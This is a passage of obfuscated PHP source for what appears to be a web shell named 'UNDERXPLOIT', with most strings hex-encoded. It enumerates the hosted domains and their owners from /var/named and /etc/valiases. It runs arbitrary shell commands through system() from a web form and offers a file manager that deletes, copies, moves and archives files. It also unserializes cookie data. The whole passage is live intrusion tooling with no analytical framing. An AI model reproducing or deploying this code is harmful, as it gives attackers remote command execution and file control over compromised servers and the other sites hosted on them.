"\x3c\x74\x61\142\x6c\x65\40\x63\x6c\x61\x73\163\75\x22\164\x61\142\154\x65\x2d\x66\x69\154\145\42\x3e\12\x9\11\11\x9\x3c\x74\150\x20\x63\x6c\x61\163\x73\75\x22\x74\150\x2d\146\x69\154\x65\x22\x3e\x57\145\142\x73\151\164\145\x3c\x2f\x74\150\76\xa\x9\11\x9\11\x3c\x74\x68\40\143\154\141\x73\x73\x3d\x22\x74\150\55\x66\151\x6c\145\x22\x20\x73\164\x79\154\145\x3d\42\167\151\x64\164\x68\72\x36\60\160\x78\42\x3e\125\163\145\x72\x3c\x2f\164\150\76\12\x9\11\11\x9\74\164\150\40\x63\x6c\141\x73\x73\x3d\x22\x74\x68\x2d\146\151\154\145\x22\40\163\x74\x79\154\145\x3d\x22\x77\151\144\164\150\x3a\66\x30\x70\x78\42\76\x41\x63\x74\x69\x6f\156\x3c\x2f\x74\150\76"; $list = scandir("\57\166\141\x72\x2f\156\141\x6d\145\144"); foreach ($etcz as $etz) { $etcc = explode("\72", $etz); foreach ($list as $domain) { switch (true) { case strpos($domain, "\56\x64\142"): $domain = str_replace("\x2e\x64\142", '', $domain); $owner = posix_getpwuid(fileowner("\x2f\145\164\x63\x2f\x76\x61\154\151\141\163\x65\163\57" . $domain)); switch (true) { case $owner["\x6e\x61\155\145"] == $etcc[0]: $i += 1; print "\74\164\x72\76\74\x74\144\40\143\154\x61\x73\x73\75\x27\164\144\x2d\146\151\x6c\x65\40\145\154\151\160\x27\x3e\40\74\163\x70\x61\156\40\x63\x6c\141\x73\x73\x3d\47\154\141\142\145\154\x2d\163\x75\x63\x63\x65\163\x73\x27\x3e\x3c\x69\40\143\x6c\141\x73\x73\75\x27\172\x6d\144\151\40\172\x6d\x64\151\x2d\x67\154\157\142\x65\40\x7a\x6d\144\151\55\150\x63\55\146\167\47\x3e\74\57\x69\x3e\74\57\163\160\141\156\x3e\x20\74\141\40\x68\x72\145\x66\x3d\47\x68\164\x74\x70\x3a\x2f\x2f" . $domain . "\x20\47\x3e" . $domain . "\74\57\141\x3e\74\x2f\164\x64\76\xa\x3c\x74\x64\40\x63\154\x61\163\163\75\x27\164\x64\55\x66\151\x6c\x65\x27\x3e\x3c\143\145\156\164\x65\x72\x3e\74\x66\x6f\156\164\x20\143\x6f\154\x6f\x72\x3d\47\x23\x31\104\x39\104\67\63\x27\x3e" . $owner["\156\x61\x6d\x65"] . "\74\x2f\x66\x6f\x6e\x74\x3e\74\x2f\x63\x65\x6e\164\145\162\76\74\x2f\164\144\76\xa\74\x74\144\x20\143\x6c\141\x73\x73\x3d\x27\x74\x64\x2d\x66\151\x6c\145\47\76\74\x63\145\x6e\x74\x65\x72\76\x3c\141\40\x68\162\145\146\75\x27\x70\145\x65\x2f\x72\x6f\x6f\164" . $owner["\144\151\x72"] . "\57" . $dr[3] . "\47\40\x74\x61\162\147\x65\164\x3d\47\137\x62\154\x61\x6e\153\x27\76\x4f\x50\x45\116\x3c\57\x61\76\74\57\x63\x65\156\x74\145\162\76\74\57\164\x64\x3e"; } } } } print "\x3c\x2f\x74\x61\x62\154\x65\x3e\x3c\144\x69\x76\x20\x63\154\x61\163\x73\75\x27\143\x6f\114\55\x6f\160\x74\x69\157\x6e\47\40\x73\x74\x79\154\x65\75\x27\x70\141\144\144\151\x6e\x67\x3a\67\x70\170\73\155\141\x72\147\151\156\55\x74\x6f\160\x3a\x33\x70\170\47\x3e\124\157\x74\x61\154\40\x44\x6f\x6d\141\x69\x6e\x20\x3a\x20\74\142\165\x74\x74\157\156\x20\143\154\141\163\x73\75\x27\154\x61\x77\x62\x27\40\x73\x74\x79\x6c\145\x3d\47\167\151\144\164\x68\72\66\x30\x70\x78\x3b\x70\157\163\151\164\x69\x6f\x6e\72\162\x65\x6c\141\164\x69\x76\145\73\164\157\160\x3a\60\x70\x78\x27\x3e" . $i . "\x3c\x2f\142\x75\164\164\x6f\156\76\74\x2f\144\151\166\76\74\x2f\144\x69\x76\76"; } break; case "\166\x61\162": switch (true) { case is_readable("\57\166\x61\162\x2f\x6e\x61\155\x65\144"): print "\x3c\144\151\x76\x20\x63\x6c\141\x73\x73\75\x22\x63\x6f\114\55\160\141\156\145\x6c\x22\x3e\x3c\x74\x61\142\154\145\76\xa\74\164\x64\40\x63\x6c\141\163\163\75\x22\x74\144\x2d\x70\141\x6e\145\x6c\x22\x3e\x3c\x63\145\156\x74\x65\162\x3e\74\x64\x69\x76\40\x63\x6c\141\163\x73\75\42\154\x6f\x61\x64\145\162\x22\76\74\57\144\x69\x76\76\74\57\143\145\156\164\145\x72\76\74\x2f\x74\144\76\74\164\x64\x20\x63\x6c\141\x73\163\x3d\42\x74\144\x2d\x70\x61\156\145\154\55\162\151\147\x68\x74\42\76\123\x59\x4d\x4c\111\116\x4b\x20\x5b\40\x56\x41\122\57\x4e\101\x4d\x45\104\x20\x5d\74\x2f\164\x64\76\74\57\x74\141\142\154\x65\x3e\74\57\x64\x69\166\x3e"; print "\x3c\164\x61\142\154\x65\40\x63\154\x61\x73\163\x3d\42\164\141\x62\154\x65\55\x66\x69\154\x65\x22\76\12\11\x9\11\11\74\164\x68\x20\143\x6c\141\x73\163\75\42\164\150\55\146\151\154\x65\x22\x3e\x57\x65\142\x73\x69\164\x65\74\x2f\x74\x68\76\xa\11\11\x9\x9\74\164\150\x20\143\x6c\x61\163\163\x3d\42\164\x68\55\x66\x69\x6c\145\x22\40\163\164\171\154\145\75\42\x77\151\144\x74\x68\x3a\x36\60\160\170\42\x3e\x55\x73\145\162\74\57\x74\150\x3e\12\x9\x9\11\x9\74\164\150\40\143\154\x61\x73\x73\x3d\42\x74\150\55\x66\x69\154\x65\42\x20\163\x74\x79\x6c\x65\75\x22\x77\x69\144\x74\x68\72\66\60\160\x78\x22\76\101\143\164\x69\157\156\x3c\x2f\164\150\76"; $ms_5 = scandir("\x2f\166\141\162\57\x6e\x61\155\145\144"); foreach ($ms_5 as $ms_6) { switch (true) { case strpos($ms_6, "\x2e\x64\x62"): $i += 1; $ms_6 = str_replace("\56\x64\x62", '', $ms_6); $owner = posix_getpwuid(fileowner("\57\x65\164\143\57\x76\141\x6c\151\x61\x73\x65\x73\x2f" . $ms_6)); print "\74\x74\162\76\74\x74\144\40\143\x6c\x61\x73\163\x3d\x27\164\144\55\x66\x69\154\x65\x20\x65\154\x69\160\x27\76\40\74\163\x70\x61\x6e\x20\143\154\141\x73\x73\75\x27\x6c\x61\x62\x65\154\55\x73\x75\x63\x63\145\163\x73\47\x3e\74\151\40\x63\x6c\141\163\163\x3d\x27\172\155\x64\x69\40\172\155\144\x69\55\x67\x6c\x6f\142\x65\40\x7a\155\x64\x69\x2d\x68\143\x2d\x66\x77\47\x3e\x3c\x2f\151\76\x3c\57\163\x70\x61\156\x3e\40\74\x61\40\x68\x72\x65\146\75\47\150\x74\164\160\72\x2f\x2f" . $ms_6 . "\40\x27\76" . $ms_6 . "\x3c\x2f\141\76\74\x2f\164\x64\x3e\xa\x3c\164\x64\40\143\154\x61\x73\x73\x3d\x27\x74\144\55\146\x69\154\x65\47\76\x3c\143\x65\x6e\164\145\162\76\74\146\157\x6e\164\x20\x63\x6f\154\157\162\75\x27\43\61\x44\71\x44\67\x33\x27\x3e" . $owner["\156\x61\155\x65"] . "\x3c\x2f\146\157\156\164\x3e\x3c\57\x63\x65\x6e\164\x65\x72\x3e\x3c\57\x74\x64\76\12\x3c\164\144\x20\x63\x6c\x61\x73\x73\x3d\x27\164\x64\55\x66\151\x6c\x65\47\76\74\143\x65\x6e\164\145\162\76\74\x61\x20\150\x72\x65\146\x3d\47\x70\x65\145\x2f\162\x6f\157\x74" . $owner["\144\151\162"] . "\57" . $dr[3] . "\x27\x20\164\x61\162\147\145\x74\75\x27\x5f\142\x6c\x61\x6e\x6b\47\76\x4f\120\105\116\x3c\57\141\76\x3c\x2f\143\145\156\x74\x65\162\76\74\x2f\164\x64\76"; } } print "\74\57\x74\141\x62\154\145\x3e\x3c\144\x69\x76\x20\x63\154\141\x73\x73\x3d\47\x63\157\114\55\157\160\x74\151\157\x6e\x27\x20\163\x74\x79\154\145\x3d\x27\x70\x61\x64\144\x69\156\x67\x3a\x37\x70\x78\x3b\x6d\x61\162\147\x69\x6e\x2d\x74\157\x70\72\x33\160\170\47\76\124\157\x74\141\154\x20\104\x6f\155\x61\x69\x6e\x20\72\x20\74\142\165\164\164\x6f\156\x20\x63\x6c\x61\163\163\75\x27\x6c\141\x77\x62\x27\40\163\x74\x79\x6c\x65\x3d\47\167\x69\144\x74\x68\72\x36\60\x70\170\73\160\x6f\163\151\164\151\157\x6e\x3a\x72\x65\154\141\x74\151\x76\145\x3b\164\x6f\x70\72\60\160\170\x27\76" . $i . "\74\57\142\165\x74\164\157\x6e\x3e\74\57\144\x69\166\x3e\74\x2f\x64\x69\x76\76"; break; default: print "\74\164\x72\76\74\x74\x64\x20\x63\x6c\x61\x73\x73\75\47\164\144\55\146\151\154\x65\47\76\x63\141\x6e\x27\x74\x20\162\145\x61\144\x20\x5b\40\x2f\166\141\162\57\x6e\141\x6d\145\x64\40\x5d\x3c\57\164\144\x3e\74\57\x74\x61\x62\154\x65\x3e"; } break; case "\x63\155\x64": print "\x3c\x64\x69\x76\x20\143\154\141\163\163\x3d\x22\143\x6f\114\x2d\160\x61\x6e\145\x6c\x22\x3e\74\164\x61\142\154\145\76\x3c\164\x64\x20\143\x6c\x61\x73\x73\75\42\164\x64\55\160\141\156\x65\x6c\x22\x3e\x3c\143\145\156\x74\x65\162\76\74\x64\x69\166\x20\x63\154\x61\x73\163\x3d\x22\x6c\x6f\141\x64\145\x72\x22\x3e\74\x2f\x64\151\166\x3e\x3c\57\143\145\x6e\164\145\x72\x3e\74\57\x74\144\76\x3c\164\144\40\x63\x6c\x61\x73\x73\x3d\x22\164\144\x2d\x70\141\x6e\x65\154\x2d\162\151\x67\150\164\x22\76\103\x4f\116\x53\117\114\105\74\57\x74\x64\76\74\57\x74\x61\142\154\145\76\x3c\57\144\x69\x76\x3e"; print "\x3c\x64\151\166\40\x63\154\141\163\163\x3d\42\x63\157\x4c\55\157\160\x74\151\157\x6e\42\x3e"; print "\x3c\160\162\x65\40\163\x74\171\154\x65\75\42\x66\157\156\164\x2d\146\141\155\x69\154\171\x3a\40\x50\154\x61\x79\x3b\155\x69\x6e\x2d\150\145\151\x67\150\164\72\x32\x30\x30\x70\x78\x3b\146\157\x6e\x74\55\x73\x69\x7a\145\x3a\61\64\x70\x78\x3b\160\141\x64\x64\151\x6e\x67\x3a\67\x70\x78\x22\40\x63\x6c\141\x73\163\x3d\x22\x6c\x61\142\145\154\x2d\163\x75\x63\143\145\x73\163\42\76"; if (isset($_UNDERXPLOIT["\x63\x6d\x64"]) && $_UNDERXPLOIT["\143\155\144"] != '') { $exec = jmbt(system($_UNDERXPLOIT["\143\x6d\x64"] . "\40\62\x3e\46\61")); switch ($exec) { case NULL: header("\154\157\x63\x61\164\x69\x6f\x6e\72\x20\x3f" . x5 . $dir); break; default: } } print "\x3c\57\160\x72\x65\76\xa\74\x73\x63\162\x69\x70\x74\40\x74\x79\x70\x65\75\42\164\x65\x78\164\x2f\x6a\x61\166\x61\x73\x63\162\x69\x70\x74\42\x3e\40\x66\x75\x6e\x63\164\151\x6f\156\x20\x67\160\50\51\x20\173\12\x9\151\x66\x28\x64\x6f\143\x75\x6d\145\x6e\164\x2e\147\145\164\x45\154\x65\x6d\145\x6e\x74\102\x79\111\144\50\42\143\x73\154\42\51\x2e\166\141\154\165\x65\40\75\75\40\42\x22\51\173"; s("\x45\x6e\164\x65\x72\40\x79\157\x75\x72\40\x63\x6f\155\155\141\156\144"); print "\162\145\x74\x75\162\x6e\x20\x66\x61\x6c\x73\x65\x3b\xa\x9\x7d\x20\144\x6f\x63\165\x6d\145\156\164\56\x67\145\x74\105\x6c\145\x6d\x65\156\x74\x42\171\x49\x64\x28\42\x65\147\166\x22\51\x2e\163\165\142\155\151\x74\x28\51\x3b\xa\x7d\x20\x3c\57\163\x63\x72\151\x70\x74\x3e\12\x3c\164\x61\142\154\x65\x20\163\x74\171\x6c\145\x3d\42\x6d\x61\x72\x67\151\156\x2d\x74\x6f\x70\x3a\67\160\x78\42\40\x63\x65\154\154\163\x70\141\x63\151\156\x67\75\x22\60\x22\76\x3c\x66\x6f\x72\x6d\x20\x6d\145\x74\150\157\x64\75\x22\x50\x4f\x53\x54\x22\40\x61\x63\164\151\157\156\75\x22\x3f" . x7 . "\143\155\144\x26" . x5 . $dir . "\x22\x3e\xa\x9\74\x74\144\x20\x61\x6c\151\147\156\x3d\42\x63\x65\x6e\x74\x65\x72\x22\x20\163\x74\x79\154\145\x3d\x22\x77\x69\x64\x74\150\72\x31\x30\45\x22\76\74\151\x20\x63\x6c\141\x73\x73\75\42\x7a\155\x64\x69\40\x7a\155\x64\151\55\x63\150\145\166\x72\x6f\x6e\55\x72\151\147\150\x74\40\172\155\x64\x69\55\150\143\55\146\x77\42\76\74\57\x69\76\74\57\x74\x64\x3e\xa\x9\x3c\164\144\x20\163\164\x79\154\145\x3d\42\167\x69\144\164\150\x3a\x37\60\45\x3b\x70\141\x64\x64\x69\x6e\147\55\x6c\x65\x66\164\72\x33\x70\x78\x3b\x70\141\144\144\x69\156\x67\55\x72\151\147\x68\x74\72\63\x70\170\42\76\74\x69\x6e\160\x75\x74\40\164\x79\x70\145\x3d\42\x74\x65\x78\x74\x22\40\x70\x6c\141\143\x65\x68\x6f\154\x64\x65\162\x3d\42\44\42\x20\156\x61\155\x65\75\x22\143\155\x64\42\40\151\144\75\42\x63\163\154\42\76\74\57\x74\144\76\x3c\x74\x64\40\163\164\171\154\145\75\42\x77\151\144\x74\150\x3a\x32\60\x25\73\x74\x65\x78\x74\55\x61\154\151\x67\x6e\x3a\x72\x69\x67\x68\x74\x22\76\74\142\x75\164\164\157\x6e\40\164\x79\160\145\75\42\163\x75\142\x6d\x69\164\x22\40\143\154\141\163\x73\x3d\42\x62\x74\156\55\145\170\x65\x22\40\x6f\156\x63\x6c\151\143\153\x3d\42\147\160\50\x29\73\40\162\x65\x74\165\x72\x6e\x20\146\x61\x6c\x73\145\x3b\42\76\x3c\x69\x20\x63\x6c\x61\163\163\75\42\x7a\x6d\144\151\40\x7a\155\144\151\x2d\154\x6f\x6e\x67\55\x61\162\x72\157\x77\55\x72\x65\x74\165\162\156\x20\172\x6d\x64\x69\x2d\x68\x63\x2d\x66\x77\x22\x3e\x3c\57\151\76\x3c\x2f\x62\x75\x74\164\157\156\x3e\74\57\146\x6f\162\x6d\76\74\57\x74\x64\76\xa\11\74\57\164\x61\x62\154\145\76\x3c\x2f\144\151\x76\76\x3c\x2f\144\x69\166\x3e"; break; case "\x65\162\x72\157\x72": print "\x3c\x64\x69\x76\40\143\x6c\141\x73\163\75\42\x63\x6f\114\55\160\141\x6e\x65\x6c\x22\x3e\74\164\141\142\154\145\x3e\x3c\x74\x64\x20\x63\154\x61\163\x73\75\x22\164\144\55\x70\x61\156\x65\154\42\76\x3c\143\x65\156\x74\x65\162\76\74\x64\x69\166\40\x63\x6c\x61\163\163\x3d\42\x6c\157\x61\x64\x65\x72\42\x3e\x3c\x2f\144\151\166\x3e\74\57\143\145\x6e\x74\145\x72\x3e\74\x2f\164\x64\x3e\x3c\164\x64\x20\143\x6c\141\163\163\75\42\164\x64\55\x70\141\156\x65\x6c\x2d\x72\151\x67\x68\x74\x22\76\x46\111\114\105\40\115\x41\116\101\x47\105\x52\x3c\x2f\x74\x64\x3e\74\x2f\164\x61\x62\154\145\x3e\x3c\x2f\x64\151\166\76"; bacot("\120\x65\162\155\151\163\x73\x69\x6f\x6e\40\144\x65\x6e\x69\145\144"); print x9; break; default: $ddir = @getcwd(); if (isset($_UNDERXPLOIT["\x66\x72\x6f\x6d"])) { @chdir($_UNDERXPLOIT["\x66\162\x6f\155"]); } $cwd = @getcwd(); switch ($os) { case "\167\151\156": $ddir = str_replace("\134", "\x2f", $ddir); $cwd = str_replace("\134", "\57", $cwd); break; } if ($cwd[strlen($cwd) - 1] != "\x2f") { $cwd .= "\57"; } function hs($str) { switch (true) { case function_exists("\163\x63\141\x6e\x64\x69\x72"): return scandir($str); break; default: $cdm = opendir($str); while (false !== ($filename = readdir($cdm))) { $data[] = $filename; } return $data; } } if (!empty($_COOKIE["\x74\141\162\147\145\x74"])) { $_COOKIE["\164\141\162\147\x65\164"] = @unserialize($_COOKIE["\164\141\x72\x67\x65\x74"]); } if (!empty($_UNDERXPLOIT["\150\x63\170"])) { switch ($_UNDERXPLOIT["\150\143\x78"]) { case "\144\145\154\145\164\145": function deleteDir($path) { $path = substr($path, -1) == "\57" ? $path : $path . "\x2f"; $cdm = opendir($path); while (($ = readdir($cdm)) !== false) { $ = $path . $; if (basename($) == "\x2e\56" || basename($) == "\x2e") { continue; } $type = filetype($); if ($type == "\x64\151\x72") { deleteDir($); } else { @unlink($); } } closedir($cdm); @rmdir($path); } if (is_array(@$_UNDERXPLOIT["\x74\141\162\x67\145\164"])) { foreach ($_UNDERXPLOIT["\164\141\162\147\145\x74"] as $f) { if ($f == "\x2e\x2e") { continue; } $f = urldecode($f); if (is_dir($f)) { deleteDir($f); } else { @unlink($f); } } } break; case "\160\141\163\x74\x65": if ($_COOKIE["\141\x63\164"] == "\x63\x6f\160\x79") { function copas($c, $s, $d) { if (is_dir($c . $s)) { mkdir($d . $s); $h = @opendir($c . $s); while (($f = @readdir($h)) !== false) { if ($f != "\x2e" and $f != "\56\x2e") { copas($c . $s . "\x2f", $f, $d . $s . "\x2f"); } } } else { if (is_file($c . $s)) { @copy($c . $s, $d . $s); } } } foreach ($_COOKIE["\164\141\162\147\x65\x74"] as $f) { copas($_COOKIE["\x66\162\157\x6d"], $f, $GLOBALS["\x63\x77\x64"]); } } elseif ($_COOKIE["\141\x63\x74"] == "\155\x6f\x76\x65") { function mopas($c, $s, $d) { if (is_dir($c . $s)) { mkdir($d . $s); $h = @opendir($c . $s); while (($f = @readdir($h)) !== false) { if ($f != "\56" and $f != "\56\56") { copas($c . $s . "\57", $f, $d . $s . "\57"); } } } elseif (@is_file($c . $s)) { @copy($c . $s, $d . $s); } } foreach ($_COOKIE["\x74\141\162\147\145\164"] as $f) { @rename($_COOKIE["\146\x72\157\x6d"] . $f, $GLOBALS["\143\x77\144"] . $f); } } elseif ($_COOKIE["\141\143\164"] == "\172\151\x70") { if (class_exists("\x5a\151\x70\101\162\143\x68\x69\x76\x65")) { $zip = new ZipArchive(); if ($zip->open($_UNDERXPLOIT["\170\160\157\x7a"], 1)) { chdir($_COOKIE["\146\x72\x6f\155"]); foreach ($_COOKIE["\164\141\162\147\x65\164"] as $f) { if ($f == "\56\56") { continue; } if (@is_file($_COOKIE["\146\x72\157\155"] . $f)) { $zip->addFile($_COOKIE["\x66\x72\157\155"] . $f, $f); } elseif (@is_dir($_COOKIE["\146\x72\157\x6d"] . $f)) { $iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f . "\x2f", FilesystemIterator::SKIP_DOTS)); foreach ($iterator as $key => $value) { $zip->addFile(realpath($key), $key); } } } chdir($GLOBALS["\x63\167\x64"]); $zip->close(); } } } unset($_COOKIE["\164\x61\x72\147\x65\164"]); setcookie("\x74\x61\x72\147\x65\164", '', time() - 3600); break; default: switch (true) { case !empty($_UNDERXPLOIT["\x68\x63\x78"]): vb("\x61\143\x74", $_UNDERXPLOIT["\x68\143\170"]); vb("\164\x61\x72\x67\145\164", serialize(@$_UNDERXPLOIT["\x74\x61\162\147\x65\164"])); vb("\x66\162\157\x6d", @$_UNDERXPLOIT["\x66\x72\157\155"]); } break; } } print "\74\x73\x63\162\x69\x70\x74\x20\164\x79\160\145\75\42\x74\x65\170\164\57\x6a\141\x76\x61\163\x63\x72\x69\160\x74\42\x3e\x20\146\x75\156\x63\x74\151\x6f\x6e\x20\155\x31\163\50\x29\x20\173\12\x69\146\50\144\x6f\x63\165\155\x65\156\x74\x2e\147\145\x74\x45\154\x65\155\x65\156\x74\x42\171\x49\144\50\42\x61\x63\x74\42\51\56\x76\x61\154\165\145\40\x3d\75\40\42\42\51\x20\x7b"; s("\x53\x65\154\145\143\164\40\141\x63\164\151\x6f\156"); print "\x72\x65\164\165\162\x6e\40\146\141\x6c\163\x65\73\xa\x20\40\40\x20\x7d\xa\40\x20\x20\40\x64\x6f\143\x75\x6d\145\x6e\164\56\147\x65\x74\105\154\x65\155\x65\156\x74\102\x79\111\x64\x28\42\x73\x6b\163\x22\51\x2e\x73\165\x62\x6d\151\164\50\x29\x3b\xa\x20\x20\x7d\12\x3c\x2f\x73\x63\x72\x69\160\x74\76\xa\11\74\x66\x6f\162\155\40\x6e\141\155\x65\x3d\42\x64\141\x74\x61\x22\x20\x61\x63\x74\x69\157\156\75\42\77\x64\151\x72\x3d" . $dir . "\x22\40\155\145\x74\150\x6f\x64\75\x22\x50\x4f\x53\x54\x22\x20\163\164\171\154\x65\x3d\42\x6d\141\x72\147\x69\x6e\x3a\60\160\170\42\76\74\x64\x69\x76\40\143\154\141\163\163\x3d\42\143\x6f\114\x2d\x70\141\156\145\154\42\x3e\74\x74\x61\x62\154\145\x3e\12\x9\74\164\x64\40\x63\154\x61\x73\163\x3d\42\x74\x64\x2d\160\141\x6e\x65\x6c\x22\76\74\x63\145\156\x74\145\x72\x3e\x3c\144\x69\166\x20\x63\x6c\x61\x73\163\75\42\154\157\141\144\145\162\42\76\x3c\x2f\x64\x69\166\76\x3c\x2f\143\x65\156\x74\145\x72\x3e\x3c\x2f\x74\144\76\74\x74\x64\40\143\x6c\x61\x73\x73\75\42\164\144\55\x70\141\x6e\145\x6c\55\162\151\x67\150\x74\42\x3e\106\111\114\105\40\x4d\101\116\x41\107\x45\x52\74\57\164\144\76\x3c\57\164\141\142\x6c\x65\x3e\x3c\57\144\x69\x76\x3e"; $dirContent = hs(isset($_UNDERXPLOIT["\146\x72\157\x6d"]) ? $_UNDERXPLOIT["\x66\162\157\155"] : $GLOBALS["\x63\x77\x64"]); switch ($dirContent) { case false: print "\74\x73\x63\x72\x69\160\164\40\164\x79\x70\145\75\42\164\145\x78\x74\57\x6a\141\x76\141\163\143\x72\x69\160\x74\x22\x3e\x63\50\x22\77" . x7 . "\x65\162\162\x6f\x72\46" . x5 . $dir . "\42\51\73\74\57\x73\143\162\151\160\x74\76"; return; } global $sort; $sort = array("\x6e\141\155\x65", 1); switch (true) { case !empty($_UNDERXPLOIT["\150\x63\x78"]): if (preg_match("\41\163\137\50\x5b\x41\x2d\172\x5d\53\51\x5f\50\134\x64\173\x31\175\x29\41", $_UNDERXPLOIT["\x68\x63\170"], $match)) { $sort = array($match[1], (int) $match[2]); } } print "\74\163\143\162\151\x70\164\x20\x6c\x61\x6e\x67\165\141\x67\x65\75\x22\112\x61\166\141\123\143\x72\151\x70\164\x22\x3e\xa\x66\x75\156\x63\164\x69\x6f\156\x20\x67\x72\157\x77\x28\x69\163\103\x68\x65\143\153\x65\144\51\x20\x7b\xa\11\x9\11\151\x66\50\151\x73\x43\x68\145\143\x6b\x65\x64\51\x20\x7b\xa\x9\x9\x9\x9\44\x28\47\151\156\x70\165\164\x5b\156\141\x6d\145\x3d\42\x74\141\x72\147\x65\x74\x5b\135\x22\x5d\x27\x29\x2e\145\x61\x63\x68\50\146\x75\x6e\x63\164\151\x6f\x6e\x28\51\40\x7b\x20\xa\x9\11\11\11\x9\164\x68\151\163\x2e\x63\x68\145\x63\x6b\145\144\x20\x3d\40\x74\162\165\145\73\40\12\x9\x9\11\x9\x7d\51\x3b\xa\x9\11\11\175\40\x65\x6c\163\x65\x20\x7b\xa\x9\x9\x9\11\x24\50\47\x69\x6e\x70\165\x74\x5b\156\141\155\x65\x3d\x22\x74\141\x72\x67\145\x74\133\135\42\x5d\x27\x29\x2e\145\141\x63\150\x28\x66\165\156\143\164\x69\x6f\156\50\x29\x20\173\12\11\11\x9\11\11\x74\150\x69\163\x2e\x63\x68\x65\143\x6b\x65\144\x20\x3d\x20\x66\141\x6c\163\x65\x3b\12\x9\x9\11\11\x7d\51\x3b\xa\x9\x9\x9\x7d\xa\11\11\175\x20\x3c\57\163\x63\x72\x69\x70\164\x3e"; print "\74\164\141\x62\x6c\x65\x20\x63\154\x61\163\163\75\x22\164\141\x62\x6c\145\x2d\146\151\x6c\x65\x22\x20\143\x65\x6c\154\x73\x70\141\143\x69\156\x67\x3d\x22\60\x22\76\12\40\40\40\40\74\x74\x68\40\143\x6c\141\x73\163\75\42\164\150\55\x66\151\x6c\x65\42\76\x4e\141\x6d\x65\74\57\164\150\x3e\12\x20\x20\x20\40\x3c\164\150\40\143\154\141\163\163\75\42\164\150\55\146\151\x6c\x65\x22\x20\x73\164\x79\x6c\x65\x3d\x22\167\x69\144\x74\x68\72\x38\x30\160\170\42\40\x69\x64\x3d\x22\x77\x68\x22\x3e\101\143\143\x65\x73\x73\x3c\x2f\164\150\x3e\12\40\x20\x20\x20\x3c\x74\x68\x20\x63\x6c\141\x73\x73\x3d\42\164\x68\55\x66\x69\x6c\145\x22\x20\163\x74\x79\154\145\x3d\42\167\151\x64\x74\x68\72\x38\60\160\170\42\76\x53\x69\172\x65\x3c\57\164\150\x3e\xa\x20\40\x20\x20\74\164\150\40\143\x6c\141\163\163\75\x22\164\150\55\146\151\154\145\42\40\163\x74\171\x6c\x65\75\42\167\x69\144\164\150\72\66\65\160\170\42\76\x41\x63\164\x69\x6f\156\74\x2f\x74\150\76\xa\x20\40\x20\40\x3c\x74\x68\x20\x63\x6c\141\x73\163\x3d\42\164\150\55\x66\x69\154\x65\42\76\x3c\57\x74\x68\x3e\12\40\x20\40\x20\x3c\x74\162\x3e"; $dir = getcwd(); $scn = scandir($dir); foreach ($scn as $_axu) { $dtype = filetype("{$dir}\57{$_axu}"); switch (true) { case !is_dir("{$dir}\57{$_axu}"): continue 2; break; } switch ($_axu) { case "\x2e\56": $_axe = "\x3c\x61\x20\143\154\x61\x73\x73\x3d\42\141\x22\40\x6f\156\x63\154\x69\143\x6b\75\47\x63\x28\42\77" . x5 . dirname($dir) . "\x22\x29\x27\76" . $_axu . "\74\57\141\x3e"; break; case "\56": $_axe = "\x3c\141\40\143\x6c\x61\x73\163\x3d\42\141\42\40\157\156\143\x6c\x69\x63\x6b\x3d\47\x63\50\x22\77" . x5 . $dir . "\x22\51\x27\76" . $_axu . "\74\x2f\x61\x3e"; break; default: $_axe = "\x3c\141\40\x63\x6c\141\x73\x73\x3d\42\x61\x22\40\x6f\156\x63\154\151\143\x6b\75\x27\x63\50\x22\77\144\151\x72\x3d" . $dir . "\x2f" . $_axu . "\x22\x29\47\76" . $_axu . "\x3c\57\141\x3e"; $xdir += 1; } switch (true) { case $_axu == "\x2e" || $_axu == "\x2e\56": $_axo = "\x2d\55"; $ckh = "\x3c\154\x61\x62\x65\x6c\76\x3c\151\x6e\x70\165\164\40\x74\x79\x70\145\75\x22\x63\x68\x65\x63\153\142\x6f\170\42\40\144\x69\x73\141\142\154\145\x64\x3e\74\163\160\x61\156\x20\143\x6c\x61\x73\163\x3d\42\151\x63\157\x6e\42\76\74\151\40\143\x6c\141\x73\x73\x3d\42\172\155\144\x69\40\172\x6d\144\151\x2d\143\x68\x65\x63\153\x20\172\x6d\144\151\55\150\x63\55\x66\x77\42\x3e\x3c\x2f\x69\x3e\x3c\x2f\163\x70\141\156\x3e\x3c\x2f\154\x61\142\145\154\x3e"; break; default: $_axo = "\x3c\141\x20\x63\x6c\141\x73\163\x3d\x22\141\42\40\151\x64\x3d\42\142\165\164\164\x6f\156\55" . crc32($_axu) . "\x22\76\x4f\x50\x45\116\x3c\x2f\141\x3e"; $ckh = "\74\x6c\141\142\x65\154\x3e\x3c\x69\x6e\x70\x75\164\40\164\171\160\145\75\x22\x63\150\x65\143\x6b\x62\157\x78\x22\40\x76\141\x6c\x75\145\x3d\x22" . basename($_axu) . "\x22\40\156\x61\x6d\145\75\x22\x74\141\x72\147\x65\164\133\135\42\x3e\74\163\x70\141\x6e\40\x63\x6c\141\x73\163\75\x22\x69\x63\x6f\x6e\x22\x3e\74\151\40\143\x6c\141\163\163\x3d\42\x7a\155\x64\x69\x20\x7a\155\x64\151\55\x63\x68\x65\143\x6b\x20\172\x6d\x64\x69\55\x68\143\x2d\x66\167\42\x3e\74\x2f\x69\x3e\74\57\163\x70\x61\x6e\76\74\x2f\154\141\x62\145\154\x3e"; } print "\74\164\162\x3e"; print "\74\164\144\40\143\x6c\x61\163\163\x3d\42\x74\x64\55\146\x69\x6c\x65\x20\x65\x6c\x69\x70\x22\x3e\74\x69\x20\x63\x6c\x61\163\x73\x3d\42\172\155\x64\151\40\172\x6d\144\x69\55\146\157\x6c\x64\x65\162\55\x6f\x75\164\154\151\x6e\145\x20\x7a\x6d\x64\x69\55\150\x63\x2d\x66\x77\42\76\x3c\x2f\x69\x3e\46\156\x62\163\160\73\133\x20" . $_axe . "\x20\x5d\x3c\57\x74\x64\x3e"; print "\x3c\164\x64\40\x61\x6c\x69\x67\156\75\42\143\x65\x6e\x74\145\162\42\40\x69\144\75\42\167\150\x22\x20\143\154\141\163\x73\75\x22\x74\144\55\x66\151\154\145\42\76" . perms($_axu) . "\74\x2f\x74\144\x3e"; print "\x3c\164\144\40\141\154\151\147\x6e\x3d\x22\143\x65\x6e\164\x65\162\x22\40\143\x6c\x61\x73\163\75\x22\x74\144\x2d\x66\151\x6c\145\x22\76\74\143\x65\x6e\x74\x65\162\76\55\55\x3c\57\x63\x65\x6e\x74\145\162\76\74\57\x74\x68\76"; print 